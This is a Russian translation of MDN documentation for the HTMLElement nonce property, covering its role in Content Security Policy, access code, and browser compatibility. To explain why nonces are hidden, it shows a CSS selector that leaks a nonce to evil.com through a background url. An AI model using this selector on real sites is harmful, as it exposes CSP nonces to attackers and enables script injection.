HTMLElement: свойство nonce
Базовая Широко доступно
Эта функция хорошо отработана и работает на многих устройствах и версиях браузеров. Она доступна в браузерах с августа 2016 года.
Свойство nonce интерфейса HTMLElement возвращает одноразовое криптографическое число, используемое политикой Content Security Policy для определения разрешения загрузки.
В более поздних реализациях элементы предоставляют своё свойство nonce только скриптам (а не каналам стороннего доступа, таким как селекторы атрибутов CSS).
Примеры
Получение значения nonce
Раньше не все браузеры поддерживали свойство nonce IDL, поэтому использовался обходной путь с применением getAttribute в качестве резервного варианта:
let nonce = script["nonce"] || script.getAttribute("nonce");
Однако, в современных версиях браузеров значения nonce скрыты при доступе этим способом (будет возвращена пустая строка). Свойство IDL (script['nonce']) остаётся единственным способом доступа к nonce.
Скрытие nonce помогает предотвратить извлечение злоумышленниками данных nonce через механизмы, способные извлекать данные из атрибутов контента, например, с помощью такого селектора CSS:
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Спецификации
| Спецификация |
|---|
| HTML # dom-noncedelement-nonce |
Совместимость с браузерами
| Рабочие столы | Мобильные устройства | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
| Chrome | Edge | Firefox | Opera | Safari | Chrome Android | Firefox for Android | Opera Android | Safari на iOS | Samsung Internet | WebView Android | |
nonce |
61 | 79 | 75 | 48 | 15.410–15.4Свойство определено только для полезных элементов:<link>, <script>, и <style>; оно не определено для других элементов. |
61 | 79 | 45 | 15.410–15.4Свойство определено только для полезных элементов:<link>, <script>, и <style>; оно не определено для других элементов. |
8.0 | 61 |
См. также
nonceглобальный атрибут- Политика безопасности контента
- Политика безопасности контента:
script-src
© 2005–2024 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/nonce